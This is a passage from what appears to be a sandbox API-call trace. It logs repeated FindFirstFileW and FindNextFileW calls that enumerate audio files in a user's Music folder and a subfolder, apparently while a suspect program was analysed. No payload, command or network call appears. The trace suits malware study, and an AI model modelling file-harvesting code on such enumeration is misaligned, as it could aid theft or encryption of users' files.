nFileSizeHigh=0x0, nFileSizeLow=0x1502b, dwReserved0=0x0, dwReserved1=0x0, cFileName="8S2A7XGRPOZ5.m4a", cAlternateFileName="8S2A7X~1.M4A")) returned 1 [0086.449] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf1f6e50, ftCreationTime.dwHighDateTime=0x1d62475, ftLastAccessTime.dwLowDateTime=0xeafabd40, ftLastAccessTime.dwHighDateTime=0x1d63203, ftLastWriteTime.dwLowDateTime=0xeafabd40, ftLastWriteTime.dwHighDateTime=0x1d63203, nFileSizeHigh=0x0, nFileSizeLow=0xb23d, dwReserved0=0x0, dwReserved1=0x0, cFileName="8wwh.m4a", cAlternateFileName="")) returned 1 [0086.449] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb52c710, ftCreationTime.dwHighDateTime=0x1d62da4, ftLastAccessTime.dwLowDateTime=0xaa46b590, ftLastAccessTime.dwHighDateTime=0x1d632d2, ftLastWriteTime.dwLowDateTime=0xaa46b590, ftLastWriteTime.dwHighDateTime=0x1d632d2, nFileSizeHigh=0x0, nFileSizeLow=0x6b15, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6ie_n MfL9C.mp3", cAlternateFileName="A6IE_N~1.MP3")) returned 1 [0086.449] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5dbd510, ftCreationTime.dwHighDateTime=0x1d628f9, ftLastAccessTime.dwLowDateTime=0xa1373d0, ftLastAccessTime.dwHighDateTime=0x1d62457, ftLastWriteTime.dwLowDateTime=0xa1373d0, ftLastWriteTime.dwHighDateTime=0x1d62457, nFileSizeHigh=0x0, nFileSizeLow=0xbc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="d t31.wav", cAlternateFileName="DT31~1.WAV")) returned 1 [0086.449] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31370c70, ftCreationTime.dwHighDateTime=0x1d625c3, ftLastAccessTime.dwLowDateTime=0x900c3e70, ftLastAccessTime.dwHighDateTime=0x1d62765, ftLastWriteTime.dwLowDateTime=0x900c3e70, ftLastWriteTime.dwHighDateTime=0x1d62765, nFileSizeHigh=0x0, nFileSizeLow=0x6ed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="dC 8L.wav", cAlternateFileName="DC8L~1.WAV")) returned 1 [0086.449] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84980bd0, ftCreationTime.dwHighDateTime=0x1d62393, ftLastAccessTime.dwLowDateTime=0x13f37270, ftLastAccessTime.dwHighDateTime=0x1d62898, ftLastWriteTime.dwLowDateTime=0x13f37270, ftLastWriteTime.dwHighDateTime=0x1d62898, nFileSizeHigh=0x0, nFileSizeLow=0x5054, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCRB V6-a54Gsv1Rv.wav", cAlternateFileName="DCRBV6~1.WAV")) returned 1 [0086.449] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.449] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986f8fc0, ftCreationTime.dwHighDateTime=0x1d62622, ftLastAccessTime.dwLowDateTime=0x50e267e0, ftLastAccessTime.dwHighDateTime=0x1d62410, ftLastWriteTime.dwLowDateTime=0x50e267e0, ftLastWriteTime.dwHighDateTime=0x1d62410, nFileSizeHigh=0x0, nFileSizeLow=0xb5f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="dPsy3Ez w.m4a", cAlternateFileName="DPSY3E~1.M4A")) returned 1 [0086.449] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6244d60, ftCreationTime.dwHighDateTime=0x1d632b0, ftLastAccessTime.dwLowDateTime=0xb31ed220, ftLastAccessTime.dwHighDateTime=0x1d626a1, ftLastWriteTime.dwLowDateTime=0xb31ed220, ftLastWriteTime.dwHighDateTime=0x1d626a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FjIzw", cAlternateFileName="")) returned 1 [0086.449] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc22472e0, ftCreationTime.dwHighDateTime=0x1d63158, ftLastAccessTime.dwLowDateTime=0xb5b24450, ftLastAccessTime.dwHighDateTime=0x1d6300f, ftLastWriteTime.dwLowDateTime=0xb5b24450, ftLastWriteTime.dwHighDateTime=0x1d6300f, nFileSizeHigh=0x0, nFileSizeLow=0x9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HnNp4jqCm.m4a", cAlternateFileName="HNNP4J~1.M4A")) returned 1 [0086.449] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5210, ftCreationTime.dwHighDateTime=0x1d62ac2, ftLastAccessTime.dwLowDateTime=0x4a3a72f0, ftLastAccessTime.dwHighDateTime=0x1d632cc, ftLastWriteTime.dwLowDateTime=0x4a3a72f0, ftLastWriteTime.dwHighDateTime=0x1d632cc, nFileSizeHigh=0x0, nFileSizeLow=0x80f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="metiWtCzWYSrh.wav", cAlternateFileName="METIWT~1.WAV")) returned 1 [0086.449] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869d9f50, ftCreationTime.dwHighDateTime=0x1d62c24, ftLastAccessTime.dwLowDateTime=0x2fede130, ftLastAccessTime.dwHighDateTime=0x1d626a0, ftLastWriteTime.dwLowDateTime=0x2fede130, ftLastWriteTime.dwHighDateTime=0x1d626a0, nFileSizeHigh=0x0, nFileSizeLow=0x3d55, dwReserved0=0x0, dwReserved1=0x0, cFileName="qA64HKIB.mp3", cAlternateFileName="")) returned 1 [0086.450] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a14dd00, ftCreationTime.dwHighDateTime=0x1d624b0, ftLastAccessTime.dwLowDateTime=0x207b2db0, ftLastAccessTime.dwHighDateTime=0x1d62b06, ftLastWriteTime.dwLowDateTime=0x207b2db0, ftLastWriteTime.dwHighDateTime=0x1d62b06, nFileSizeHigh=0x0, nFileSizeLow=0x5981, dwReserved0=0x0, dwReserved1=0x0, cFileName="TM6eV_jyRFbhOXTEd.wav", cAlternateFileName="TM6EV_~1.WAV")) returned 1 [0086.450] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39ed9a60, ftCreationTime.dwHighDateTime=0x1d6241e, ftLastAccessTime.dwLowDateTime=0x7a843490, ftLastAccessTime.dwHighDateTime=0x1d62d4b, ftLastWriteTime.dwLowDateTime=0x7a843490, ftLastWriteTime.dwHighDateTime=0x1d62d4b, nFileSizeHigh=0x0, nFileSizeLow=0x16294, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vvff.m4a", cAlternateFileName="")) returned 1 [0086.450] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bc53100, ftCreationTime.dwHighDateTime=0x1d632d3, ftLastAccessTime.dwLowDateTime=0x365c7840, ftLastAccessTime.dwHighDateTime=0x1d62b0c, ftLastWriteTime.dwLowDateTime=0x365c7840, ftLastWriteTime.dwHighDateTime=0x1d62b0c, nFileSizeHigh=0x0, nFileSizeLow=0xbffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="xsJXPOsP.mp3", cAlternateFileName="")) returned 1 [0086.450] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x630431e0, ftCreationTime.dwHighDateTime=0x1d628d6, ftLastAccessTime.dwLowDateTime=0x614e33e0, ftLastAccessTime.dwHighDateTime=0x1d62c4c, ftLastWriteTime.dwLowDateTime=0x614e33e0, ftLastWriteTime.dwHighDateTime=0x1d62c4c, nFileSizeHigh=0x0, nFileSizeLow=0x1129e, dwReserved0=0x0, dwReserved1=0x0, cFileName="_BqkYlK.mp3", cAlternateFileName="")) returned 1 [0086.450] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.450] FindClose (in: hFindFile=0x1ae50fd0 | out: hFindFile=0x1ae50fd0) returned 1 [0086.450] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6244d60, ftCreationTime.dwHighDateTime=0x1d632b0, ftLastAccessTime.dwLowDateTime=0xb31ed220, ftLastAccessTime.dwHighDateTime=0x1d626a1, ftLastWriteTime.dwLowDateTime=0xb31ed220, ftLastWriteTime.dwHighDateTime=0x1d626a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50e50 [0086.450] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6244d60, ftCreationTime.dwHighDateTime=0x1d632b0, ftLastAccessTime.dwLowDateTime=0xb31ed220, ftLastAccessTime.dwHighDateTime=0x1d626a1, ftLastWriteTime.dwLowDateTime=0xb31ed220, ftLastWriteTime.dwHighDateTime=0x1d626a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.450] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f1ebb10, ftCreationTime.dwHighDateTime=0x1d623ec, ftLastAccessTime.dwLowDateTime=0xad74e8d0, ftLastAccessTime.dwHighDateTime=0x1d62752, ftLastWriteTime.dwLowDateTime=0xad74e8d0, ftLastWriteTime.dwHighDateTime=0x1d62752, nFileSizeHigh=0x0, nFileSizeLow=0x9f97, dwReserved0=0x0, dwReserved1=0x0, cFileName="3dhQy9w3HSPvQKy.m4a", cAlternateFileName="3DHQY9~1.M4A")) returned 1 [0086.450] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a1b6be0, ftCreationTime.dwHighDateTime=0x1d629c2, ftLastAccessTime.dwLowDateTime=0x7c0d8460, ftLastAccessTime.dwHighDateTime=0x1d631c4, ftLastWriteTime.dwLowDateTime=0x7c0d8460, ftLastWriteTime.dwHighDateTime=0x1d631c4, nFileSizeHigh=0x0, nFileSizeLow=0xd4b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="5Y9yOBopEJA4.m4a", cAlternateFileName="5Y9YOB~1.M4A")) returned 1 [0086.451] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ca50830, ftCreationTime.dwHighDateTime=0x1d62660, ftLastAccessTime.dwLowDateTime=0x6fb17be0, ftLastAccessTime.dwHighDateTime=0x1d62b57, ftLastWriteTime.dwLowDateTime=0x6fb17be0, ftLastWriteTime.dwHighDateTime=0x1d62b57, nFileSizeHigh=0x0, nFileSizeLow=0x18dce, dwReserved0=0x0, dwReserved1=0x0, cFileName="7ycGseY0T7Nxcp67gz.wav", cAlternateFileName="7YCGSE~1.WAV")) returned 1 [0086.451] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f9635d0, ftCreationTime.dwHighDateTime=0x1d63262, ftLastAccessTime.dwLowDateTime=0xab219010, ftLastAccessTime.dwHighDateTime=0x1d62c8e, ftLastWriteTime.dwLowDateTime=0xab219010, ftLastWriteTime.dwHighDateTime=0x1d62c8e, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="a1OdsL3KInB.m4a", cAlternateFileName="A1ODSL~1.M4A")) returned 1 [0086.451] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92efbd30, ftCreationTime.dwHighDateTime=0x1d62d35, ftLastAccessTime.dwLowDateTime=0xdd6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d6321a, ftLastWriteTime.dwLowDateTime=0xdd6fd2c0, ftLastWriteTime.dwHighDateTime=0x1d6321a, nFileSizeHigh=0x0, nFileSizeLow=0x14807, dwReserved0=0x0, dwReserved1=0x0, cFileName="AfXK29pIQPUP.m4a", cAlternateFileName="AFXK29~1.M4A")) returned 1 [0086.451] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x267f8060, ftCreationTime.dwHighDateTime=0x1d62c34, ftLastAccessTime.dwLowDateTime=0x279e2c80, ftLastAccessTime.dwHighDateTime=0x1d62923, ftLastWriteTime.dwLowDateTime=0x279e2c80, ftLastWriteTime.dwHighDateTime=0x1d62923, nFileSizeHigh=0x0, nFileSizeLow=0x15569, dwReserved0=0x0, dwReserved1=0x0, cFileName="dBokGlj6twRzG.mp3", cAlternateFileName="DBOKGL~1.MP3")) returned 1 [0086.451] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7265970, ftCreationTime.dwHighDateTime=0x1d62fb6, ftLastAccessTime.dwLowDateTime=0x687513e0, ftLastAccessTime.dwHighDateTime=0x1d626f3, ftLastWriteTime.dwLowDateTime=0x687513e0, ftLastWriteTime.dwHighDateTime=0x1d626f3, nFileSizeHigh=0x0, nFileSizeLow=0x11392, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHX6NEdt-X9re.m4a", cAlternateFileName="EHX6NE~1.M4A")) returned 1 [0086.451] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ba7000, ftCreationTime.dwHighDateTime=0x1d623a9, ftLastAccessTime.dwLowDateTime=0xf4c177d0, ftLastAccessTime.dwHighDateTime=0x1d62cde, ftLastWriteTime.dwLowDateTime=0xf4c177d0, ftLastWriteTime.dwHighDateTime=0x1d62cde, nFileSizeHigh=0x0, nFileSizeLow=0x6cdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="G9S4NDtK.m4a", cAlternateFileName="")) returned 1 [0086.451] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1ec16f0, ftCreationTime.dwHighDateTime=0x1d632db, ftLastAccessTime.dwLowDateTime=0xcdd282a0, ftLastAccessTime.dwHighDateTime=0x1d62823, ftLastWriteTime.dwLowDateTime=0xcdd282a0, ftLastWriteTime.dwHighDateTime=0x1d62823, nFileSizeHigh=0x0, nFileSizeLow=0x7230, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gpb0T9A QL3.mp3", cAlternateFileName="GPB0T9~1.MP3")) returned 1 [0086.451] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62847e50, ftCreationTime.dwHighDateTime=0x1d62e2b, ftLastAccessTime.dwLowDateTime=0xba768a60, ftLastAccessTime.dwHighDateTime=0x1d62a41, ftLastWriteTime.dwLowDateTime=0xba768a60, ftLastWriteTime.dwHighDateTime=0x1d62a41, nFileSizeHigh=0x0, nFileSizeLow=0x10c39, dwReserved0=0x0, dwReserved1=0x0, cFileName="hVdWL77-1kjmLt7caqTC.wav", cAlternateFileName="HVDWL7~1.WAV")) returned 1 [0086.451] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a9f0f70, ftCreationTime.dwHighDateTime=0x1d62bed, ftLastAccessTime.dwLowDateTime=0xcb743cd0, ftLastAccessTime.dwHighDateTime=0x1d624ed, ftLastWriteTime.dwLowDateTime=0xcb743cd0, ftLastWriteTime.dwHighDateTime=0x1d624ed, nFileSizeHigh=0x0, nFileSizeLow=0x8c1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="iQ2SiXDl3PPb2Gdv6b.m4a", cAlternateFileName="IQ2SIX~1.M4A")) returned 1 [0086.451] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8635240, ftCreationTime.dwHighDateTime=0x1d62ce8, ftLastAccessTime.dwLowDateTime=0x9620a530, ftLastAccessTime.dwHighDateTime=0x1d6244a, ftLastWriteTime.dwLowDateTime=0x9620a530, ftLastWriteTime.dwHighDateTime=0x1d6244a, nFileSizeHigh=0x0, nFileSizeLow=0x1431f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J_hBOSwPw-Iqp8MKtM.m4a", cAlternateFileName="J_HBOS~1.M4A")) returned 1 [0086.452] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8942c610, ftCreationTime.dwHighDateTime=0x1d6257e, ftLastAccessTime.dwLowDateTime=0x1681b580, ftLastAccessTime.dwHighDateTime=0x1d62355, ftLastWriteTime.dwLowDateTime=0x1681b580, ftLastWriteTime.dwHighDateTime=0x1d62355, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="lqqu.wav", cAlternateFileName="")) returned 1 [0086.452] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdaa5f0, ftCreationTime.dwHighDateTime=0x1d62545, ftLastAccessTime.dwLowDateTime=0x7fd25060, ftLastAccessTime.dwHighDateTime=0x1d62f5a, ftLastWriteTime.dwLowDateTime=0x7fd25060, ftLastWriteTime.dwHighDateTime=0x1d62f5a, nFileSizeHigh=0x0, nFileSizeLow=0xae78, dwReserved0=0x0, dwReserved1=0x0, cFileName="nnbNg9UvuPSMX0.m4a", cAlternateFileName="NNBNG9~1.M4A")) returned 1 [0086.452] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1457c4f0, ftCreationTime.dwHighDateTime=0x1d629c9, ftLastAccessTime.dwLowDateTime=0xbcdac350, ftLastAccessTime.dwHighDateTime=0x1d62c69, ftLastWriteTime.dwLowDateTime=0xbcdac350, ftLastWriteTime.dwHighDateTime=0x1d62c69, nFileSizeHigh=0x0, nFileSizeLow=0xb8ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="qtHEmVE0YhI4H.mp3", cAlternateFileName="QTHEMV~1.MP3")) returned 1 [0086.452] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb16ea840, ftCreationTime.dwHighDateTime=0x1d6257c, ftLastAccessTime.dwLowDateTime=0xb36d27c0, ftLastAccessTime.dwHighDateTime=0x1d632ab, ftLastWriteTime.dwLowDateTime=0xb36d27c0, ftLastWriteTime.dwHighDateTime=0x1d632ab, nFileSizeHigh=0x0, nFileSizeLow=0x18853, dwReserved0=0x0, dwReserved1=0x0, cFileName="TQPue13.m4a", cAlternateFileName="")) returned 1 [0086.452] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x638648b0, ftCreationTime.dwHighDateTime=0x1d63222, ftLastAccessTime.dwLowDateTime=0x5e805010, ftLastAccessTime.dwHighDateTime=0x1d62668, ftLastWriteTime.dwLowDateTime=0x5e805010, ftLastWriteTime.dwHighDateTime=0x1d62668, nFileSizeHigh=0x0, nFileSizeLow=0x1490f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WNqzGcGlDEEkkyCzX4.wav", cAlternateFileName="WNQZGC~1.WAV")) returned 1 [0086.452] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x638648b0, ftCreationTime.dwHighDateTime=0x1d63222, ftLastAccessTime.dwLowDateTime=0x5e805010, ftLastAccessTime.dwHighDateTime=0x1d62668, ftLastWriteTime.dwLowDateTime=0x5e805010, ftLastWriteTime.dwHighDateTime=0x1d62668, nFileSizeHigh=0x0, nFileSizeLow=0x1490f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WNqzGcGlDEEkkyCzX4.wav", cAlternateFileName="WNQZGC~1.WAV")) returned 0 [0086.452] FindClose (in: hFindFile=0x1ae50e50 | out: hFindFile=0x1ae50e50) returned 1 [0086.452] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FjIzw\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6244d60, ftCreationTime.dwHighDateTime=0x1d632b0, ftLastAccessTime.dwLowDateTime=0xb31ed220, ftLastAccessTime.dwHighDateTime=0x1d626a1, ftLastWriteTime.dwLowDateTime=0xb31ed220, ftLastWriteTime.dwHighDateTime=0x1d626a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50af0 [0086.453] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6244d60, ftCreationTime.dwHighDateTime=0x1d632b0, ftLastAccessTime.dwLowDateTime=0xb31ed220, ftLastAccessTime.dwHighDateTime=0x1d626a1, ftLastWriteTime.dwLowDateTime=0xb31ed220, ftLastWriteTime.dwHighDateTime=0x1d626a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.453] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f1ebb10, ftCreationTime.dwHighDateTime=0x1d623ec, ftLastAccessTime.dwLowDateTime=0xad74e8d0, ftLastAccessTime.dwHighDateTime=0x1d62752, ftLastWriteTime.dwLowDateTime=0xad74e8d0, ftLastWriteTime.dwHighDateTime=0x1d62752, nFileSizeHigh=0x0, nFileSizeLow=0x9f97, dwReserved0=0x0, dwReserved1=0x0, cFileName="3dhQy9w3HSPvQKy.m4a", cAlternateFileName="3DHQY9~1.M4A")) returned 1 [0086.453] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a1b6be0, ftCreationTime.dwHighDateTime=0x1d629c2, ftLastAccessTime.dwLowDateTime=0x7c0d8460, ftLastAccessTime.dwHighDateTime=0x1d631c4, ftLastWriteTime.dwLowDateTime=0x7c0d8460, ftLastWriteTime.dwHighDateTime=0x1d631c4, nFileSizeHigh=0x0, nFileSizeLow=0xd4b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="5Y9yOBopEJA4.m4a", cAlternateFileName="5Y9YOB~1.M4A")) returned 1 [0086.453] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ca50830, ftCreationTime.dwHighDateTime=0x1d62660, ftLastAccessTime.dwLowDateTime=0x6fb17be0, ftLastAccessTime.dwHighDateTime=0x1d62b57, ftLastWriteTime.dwLowDateTime=0x6fb17be0, ftLastWriteTime.dwHighDateTime=0x1d62b57, nFileSizeHigh=0x0, nFileSizeLow=0x18dce, dwReserved0=0x0, dwReserved1=0x0, cFileName="7ycGseY0T7Nxcp67gz.wav", cAlternateFileName="7YCGSE~1.WAV")) returned 1 [0086.453] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f9635d0, ftCreationTime.dwHighDateTime=0x1d63262, ftLastAccessTime.dwLowDateTime=0xab219010, ftLastAccessTime.dwHighDateTime=0x1d62c8e, ftLastWriteTime.dwLowDateTime=0xab219010, ftLastWriteTime.dwHighDateTime=0x1d62c8e, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="a1OdsL3KInB.m4a", cAlternateFileName="A1ODSL~1.M4A")) returned 1 [0086.453] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92efbd30, ftCreationTime.dwHighDateTime=0x1d62d35, ftLastAccessTime.dwLowDateTime=0xdd6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d6321a, ftLastWriteTime.dwLowDateTime=0xdd6fd2c0, ftLastWriteTime.dwHighDateTime=0x1d6321a, nFileSizeHigh=0x0, nFileSizeLow=0x14807, dwReserved0=0x0, dwReserved1=0x0, cFileName="AfXK29pIQPUP.m4a", cAlternateFileName="AFXK29~1.M4A")) returned 1 [0086.453] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x267f8060, ftCreationTime.dwHighDateTime=0x1d62c34, ftLastAccessTime.dwLowDateTime=0x279e2c80, ftLastAccessTime.dwHighDateTime=0x1d62923, ftLastWriteTime.dwLowDateTime=0x279e2c80, ftLastWriteTime.dwHighDateTime=0x1d62923, nFileSizeHigh=0x0, nFileSizeLow=0x15569, dwReserved0=0x0, dwReserved1=0x0, cFileName="dBokGlj6twRzG.mp3", cAlternateFileName="DBOKGL~1.MP3")) returned 1 [0086.453] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7265970, ftCreationTime.dwHighDateTime=0x1d62fb6, ftLastAccessTime.dwLowDateTime=0x687513e0, ftLastAccessTime.dwHighDateTime=0x1d626f3, 